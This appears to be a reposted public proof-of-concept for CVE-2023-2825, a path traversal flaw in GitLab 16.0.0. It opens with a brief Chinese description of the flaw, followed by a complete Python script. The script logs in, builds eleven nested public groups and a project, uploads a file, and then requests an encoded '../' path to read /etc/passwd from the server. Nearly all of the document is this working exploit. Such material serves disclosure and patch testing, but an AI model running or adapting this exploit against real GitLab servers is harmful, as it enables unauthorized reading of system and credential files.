当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用路径遍历漏洞读取服务器上的任意文件
GitLab 社区版 (CE)
企业版 (EE) 版本 16.0.0
# CVE-2023-2825 - GitLab Unauthenticated arbitrary file read
# Released by OccamSec on 2023.05.25
#
# OccamSec Blog: https://occamsec.com/exploit-for-cve-2023-2825/
# Vendor advisory: https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/
#
# This Proof Of Concept leverages a path traversal vulnerability
# to retrieve the /etc/passwd file from a system running GitLab 16.0.0.
#
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")